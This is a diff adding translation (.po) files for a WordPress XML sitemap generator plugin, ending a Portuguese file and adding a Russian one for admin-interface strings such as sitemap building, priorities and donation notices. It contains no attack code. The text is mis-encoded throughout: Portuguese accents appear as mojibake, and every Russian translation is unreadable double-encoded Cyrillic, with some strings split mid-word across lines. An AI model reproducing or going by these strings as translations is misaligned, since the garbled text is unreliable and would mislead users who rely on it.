+msgstr "ReconstruÃ§Ã£o manual"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "Se deseja construir o sitemap sem editar nenhum artigo, clique aqui!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Reconstruir Sitemap"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "PÃ¡ginas adicionais"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Aqui pode especificar os arquivos ou URLs que devem ser incluÃ­das no sitemap mas que nÃ£o pertencem ao seu blog/WordPress.<br />Por exemplo: se o teu domÃ­nio Ã© www.foo.com e o teu blog estÃ¡ localizado em www.foo.com/blog, deve querer incluir a sua pÃ¡gina inicial em www.foo.com "
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "URL da pÃ¡gina"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "URL da pÃ¡gina. Exemplos: http://www.foo.com/index.html ou www.foo.com/home"
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "Prioridade"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Escolha a prioridade relativa da pÃ¡gina relativa a outras pÃ¡ginas. Por exemplo, a sua pÃ¡gina inicial deve ter uma maior prioridade que os seus dados pessoais."
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "Ãltima AlteraÃ§Ã£o"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Entre a data da Ãºltima alteraÃ§Ã£o como AAAA-MM-DD (por exemplo: 2005-12-31) (opcional). "
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "FrequÃªncia das AlteraÃ§Ãµes "
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "Nenhuma pÃ¡gina definida"
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "Adicionar nova pÃ¡gina "
+
+#: sitemap.php:617:
+msgid "Save page changes"
+msgstr "Guardar as alteraÃ§Ãµes da pÃ¡gina"
+
+#: sitemap.php:618:
+msgid "Undo all page changes"
+msgstr "Desfazer todas as alteraÃ§Ãµes da pÃ¡gina"
+
+#: sitemap.php:621:
+msgid "Delete marked page"
+msgstr "Apagar a pÃ¡gina marcada"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "OpÃ§Ãµes BÃ¡sicas"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "Activar o cÃ¡lculo automÃ¡tico de prioridades para artigos baseado no nÃºmero de comentÃ¡rios. "
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "Escrever comentÃ¡rios de depuraÃ§Ã£o (debug) "
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Nome do arquivo sitemap"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "Escrever um arquivo XML normal (nome do arquivo)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "URL detectada"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Gravar um arquivo comprimido com gzip (nome_arquivo +.gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Ping automÃ¡tico a Google Sitemaps"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "Esta opÃ§Ã£o indicarÃ¡ automaticamente as alteraÃ§Ãµes ao Google."
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "InclusÃµes"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "Incluir pÃ¡gina principal"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "Incluir artigos"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "Incluir pÃ¡ginas estÃ¡ticas"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "Incluir categorÃ­as"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "Incluir arquivos"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "FrequÃªncia das mudanÃ§as "
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "Nota"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Por favor, considere que o valor desta etiqueta Ã© um conselho e nÃ£o um comando. Mesmo quando alguns agentes de pesquisa (search engine crawlers) consideram esta informaÃ§Ã£o para tomar decisÃµes, eles podem verificar as pÃ¡ginas marcadas como \"a cada hora\" com menor frequÃªncia, e visitar varias vezes por ano, as pÃ¡ginas marcadas com \"anualmente\".Ã igualmente possÃ­vel que sejam verificadas pÃ¡ginas marcadas com \"nunca\" para gerir possÃ­veis mudanÃ§as inesperadas nas mesmas."
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "PÃ¡gina principal"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "Artigos"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "PÃ¡ginas estÃ¡ticas"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "Categorias"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Arquivo deste mÃªs (Deve ser igual ao da sua pagina principal)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Arquivos antigos (Alterar sÃ³ se editou um artigo antigo)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "Prioridades"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Artigos (Se o calculo automÃ¡tico estÃ¡ inativo) "
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Prioridade mÃ­nima para artigos (Mesmo quando o cÃ¡lculo automÃ¡tico estÃ¡ ativo) "
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "Arquivos"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "InformaÃ§Ã£o e suporte"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "Consulte %s para atualizaÃ§Ãµes e comentÃ¡rios se tiver algum problema, questÃ£o ou sugestÃ£o."
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "Atualizar opÃ§Ãµes"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Caminho:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "NÃ£o foi possivel escrever em %s"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "Arquivo sitemap criado com sucesso:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "Arquivo sitemap comprimido criado com sucesso:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "NÃ£o foi possÃ­vel realizar ping no Google em %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Ping a Google realizado com sucesso em %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ru_RU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ru_RU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ru_RU.po	(revision 44)
@@ -0,0 +1,714 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 24948 2007-11-18 16:37:44Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2007-11-27 12:24+0300\n"
+"Last-Translator: Sergey Ryvkin <to@ryvkin.ru>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: C:\\Inetpub\\wwwroot\\wp\\wp-content\\plugins\\sitemap_beta\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "ÐÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÑ ÐºÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ² Ðº ÑÑÐ°ÑÑÐµ ÐŽÐ»Ñ Ð²ÑÑÐžÑÐ»ÐµÐœÐžÑ Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "Ð¡ÑÐµÐŽÐœÐµÐµ ÐºÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÑ ÑÑÐµÐŽÐœÐµÐµ ÐºÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ² ÐŽÐ»Ñ Ð²ÑÑÐžÑÐ»ÐµÐœÐžÑ Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "ÐÐŸÐ¿ÑÐ»ÑÑÐœÐŸÑÑÑ ÐŽÐžÑÐºÑÑÑÐžÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÑÐ¹ÑÐµ Ð°ÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°ÐœÐœÑÐ¹ <a href=\"%1\">ÐÐ»Ð°Ð³ÐžÐœ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÐŸÑÑÐž ÐŽÐžÑÐºÑÑÑÐžÐ¹</a> ÐŸÑ <a href=\"%2\">Alex King</a>. Ð¡ÐŒ. <a href=\"%3\">ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž</a> Ðž <a href=\"%4\">Ð¡Ð°ÐŒÑÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap Generator"
+msgstr "ÐÐµÐœÐµÑÐ°ÑÐŸÑ XML-ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "ÐÑÐµÐŒÐœÐŸÐ³ÐŸ Ð±Ð»Ð°Ð³ÐŸÐŽÐ°ÑÑ Ð·Ð° Ð¿ÐŸÐ¶ÐµÑÑÐ²ÐŸÐ²Ð°ÐœÐžÑ. ÐÑ Ð¿ÐŸÐŒÐŸÐ³Ð°ÐµÑÐµ ÐŒÐœÐµ Ð² Ð¿ÑÐŸÐŽÐ°Ð»Ð¶ÐµÐœÐžÐž Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐºÐž Ðž ÑÐ°Ð·ÑÐ°Ð±ÐŸÑÐºÐž ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐ° Ðž ÐŽÑÑÐ³ÐŸÐ³ÐŸ ÑÐ²ÐŸÐ±ÐŸÐŽÐœÐŸÐ³ÐŸ ÐÐ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "Ð¡ÐºÑÑÑÑ ÑÑÐŸ Ð·Ð°ÐŒÐµÑÐ°ÐœÐžÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ÐÐ»Ð°Ð³ÐŸÐŽÐ°ÑÑ ÐÐ°Ñ Ð·Ð° ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÐµ ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐ°! ÐÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÐ»Ðž ÐµÐ³ÐŸ ÑÐ²ÑÑÐµ ÐŒÐµÑÑÑÐ° ÐœÐ°Ð·Ð°ÐŽ. ÐÑÐ»Ðž ÐŸÐœ ÑÐ°Ð±ÐŸÑÐ°ÐµÑ Ðž ÐÑ ÑÐŽÐŸÐ²Ð»ÐµÑÐ²ÐŸÑÐµÐœÑ ÐµÐ³ÐŸ ÑÐµÐ·ÑÐ»ÑÑÐ°ÑÐ°ÐŒÐž, Ð²ÑÑÐ»ÐžÑÐµ ÐŒÐœÐµ Ñ
+ÐŸÑÑ Ð±Ñ $1? <a href=\"%s\">ÐÐŸÐ¶ÐµÑÑÐ²ÐŸÐ²Ð°ÐœÐžÑ</a> Ð¿ÐŸÐŒÐŸÐ³ÑÑ ÐŒÐœÐµ Ð² Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐºÐµ Ðž ÑÐ°Ð·ÑÐ°Ð±ÐŸÑÐºÐµ ÑÑÐŸÐ³ÐŸ <i>Ð±ÐµÑÐ¿Ð»Ð°ÑÐœÐŸÐ³ÐŸ</i> ÐÐ! <a href=\"%s\">ÐÐŸÐœÐµÑÐœÐŸ, Ð±ÐµÐ· Ð¿ÑÐŸÐ±Ð»ÐµÐŒ!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "ÐÐµÑ, ÑÐ¿Ð°ÑÐžÐ±ÐŸ. ÐÑÐŸÑÑ ÐŒÐµÐœÑ Ð±ÐŸÐ»ÑÑÐµ ÐœÐµ Ð±ÐµÑÐ¿ÐŸÐºÐŸÐžÑÑ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+msgid "XML Sitemap Generator for WordPress"
+msgstr "ÐÐµÐœÐµÑÐ°ÑÐŸÑ XML-ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° ÐŽÐ»Ñ WordPress"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+msgid "Configuration updated"
+msgstr "ÐÐŸÐœÑÐžÐ³ÑÑÐ°ÑÐžÑ ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+msgid "Error while saving options"
+msgstr "ÐÑÐžÐ±ÐºÐ° Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž Ð¿Ð°ÑÐ°ÐŒÐµÑÑÐŸÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+msgid "Pages saved"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÑ ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+msgid "Error while saving pages"
+msgstr "ÐÑÐžÐ±ÐºÐ° Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž ÑÑÑÐ°ÐœÐžÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "Ð€Ð°Ð¹Ð» <a href=\"%s\">Robots.txt</a> ÑÐŸÑ
+ÑÐ°ÐœÐµÐœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2750
+msgid "Error while saving Robots.txt file"
+msgstr "ÐÑÐžÐ±ÐºÐ° Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž ÑÐ°Ð¹Ð»Ð° Robots.txt"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "ÐÐŸÐœÑÐžÐ³ÑÑÐ°ÑÐžÑ Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ Ð²ÐŸÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "ÐŸÑÐºÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "Ð·Ð°ÐºÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "ÐÐ°Ð¶ÐŒÐžÑÐµ ÐºÐœÐŸÐ¿ÐºÑ ÐŒÑÑÐž Ðž ÑÐ°ÑÐžÑÐµ ÐŽÐ»Ñ Ð¿ÐµÑÐµÐŒÐµÑÐµÐœÐžÑ ÑÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "ÐÐ°Ð¶ÐŒÐžÑÐµ ÐŽÐ»Ñ %toggle% ÐœÐ° ÑÑÐŸÑ Ð±Ð»ÐŸÐº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐ¹ÑÐµ ÑÑÑÐµÐ»ÐºÐž ÐŽÐ»Ñ Ð¿ÐµÑÐµÐŒÐµÑÐµÐœÐžÑ ÑÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", ÐžÐ»Ðž ÐœÐ°Ð¶ÐŒÐžÑÐµ ÐºÐŸÐ¿ÐºÑ Ð²Ð²ÐŸÐŽ (enter) ÐŽÐ»Ñ %toggle% ÐµÐ³ÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "ÐÐ± ÑÑÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐµ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+msgid "Plugin Homepage"
+msgstr "ÐÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÐ° Ð¿Ð»Ð°Ð³ÐžÐœÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº ÐœÐ°Ð¿ÐŸÐŒÐžÐœÐ°ÐœÐžÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "Ð€ÐŸÑÑÐŒ ÑÐµÑ
+ÐœÐžÑÐµÑÐºÐŸÐ¹ Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐºÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "ÐÐŸÐ¶ÐµÑÑÐ²ÐŸÐ²Ð°ÑÑ ÑÐµÑÐµÐ· PayPal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "ÐÐŸÐ¹ ÑÐ¿ÐžÑÐŸÐº Ð¿ÐŸÐ¶ÐµÐ»Ð°ÐœÐžÐ¹ ÐœÐ° Amazon"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "ÐÐµÑÐµÐ²ÑÐ» Ð¡ÐµÑÐ³ÐµÐ¹ Ð ÑÐ²ÐºÐžÐœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://ryvkin.ru"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+msgid "Sitemap Resources:"
+msgstr "Ð ÐµÑÑÑÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "ÐÐœÑÑÑÑÐŒÐµÐœÑÑ Ð²ÐµÐ±-ÐŒÐ°ÑÑÐµÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "ÐÐœÐµÐ²ÐœÐžÐº Ð²ÐµÐ±-ÐŒÐ°ÑÑÐµÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "ÐÑÐŸÑÐŒÐŸÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "ÐÑÐºÐ°ÑÑ Ð² ÐŽÐœÐµÐ²ÐœÐžÐºÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+msgid "Sitemaps Protocol"
+msgstr "ÐÑÐŸÑÐŸÐºÐŸÐ» ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "ÐÑÐžÑÐžÐ°Ð»ÑÐœÑÐ¹ Ð§ÐÐÐ Ð¿ÐŸ ÐºÐ°ÑÑÐ°ÐŒ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "ÐÐŸÐ¹ Ð§ÐÐÐ Ð¿ÐŸ ÐºÐ°ÑÑÐ°ÐŒ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐµ Ð¿ÐŸÐ¶ÐµÑÑÐ²ÐŸÐ²Ð°ÐœÐžÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº ÑÐ¿ÐŸÐœÑÐŸÑÐŸÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "Ð¡ÐºÑÑÑÑ ÑÑÐŸÑ ÑÐ¿ÐžÑÐŸÐº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "Ð¡Ð¿Ð°ÑÐžÐ±ÐŸ Ð·Ð° ÐÐ°ÑÑ Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐºÑ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "Ð¡ÑÐ°ÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ÐÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ° ÐµÑÑ ÐœÐµ Ð¿ÐŸÑÑÑÐŸÐµÐœÐ°. <a href=\"%s\">ÐÐ°Ð¶ÐŒÐžÑÐµ Ð·ÐŽÐµÑÑ</a> ÐŽÐ»Ñ ÑÐŸÐ·ÐŽÐ°ÐœÐžÑ ÐµÑ Ð²Ð¿ÐµÑÐ²ÑÐµ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐ° <a href=\"%url%\">ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°</a> Ð¿ÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ ÑÐ°Ð· Ð±ÑÐ»Ð° Ð¿ÐŸÑÑÑÐŸÐµÐœÐ°: <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÐž Ð·Ð°Ð¿ÐžÑÐž ÐÐ°ÑÐµÐ³ÐŸ ÑÐ°Ð¹Ð»Ð° Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ° Ð¿ÑÐŸÐžÐ·ÐŸÑÐ»Ð° ÐŸÑÐžÐ±ÐºÐ°. Ð£Ð±ÐµÐŽÐžÑÐµÑÑ, ÑÑÐŸ ÑÐ°Ð¹Ð» ÑÑÑÐµÑÑÐ²ÑÐµÑ Ðž ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ. <a href=\"%url%\">ÐÐŸÑÐžÑÐ°ÑÑ ÐµÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐ° ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ° (<a href=\"%url%\">ÑÐ¶Ð°ÑÐ°Ñ</a>) Ð¿ÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ ÑÐ°Ð· Ð±ÑÐ»Ð° Ð¿ÐŸÑÑÑÐŸÐµÐœÐ°: <b>%date%</b>."
+
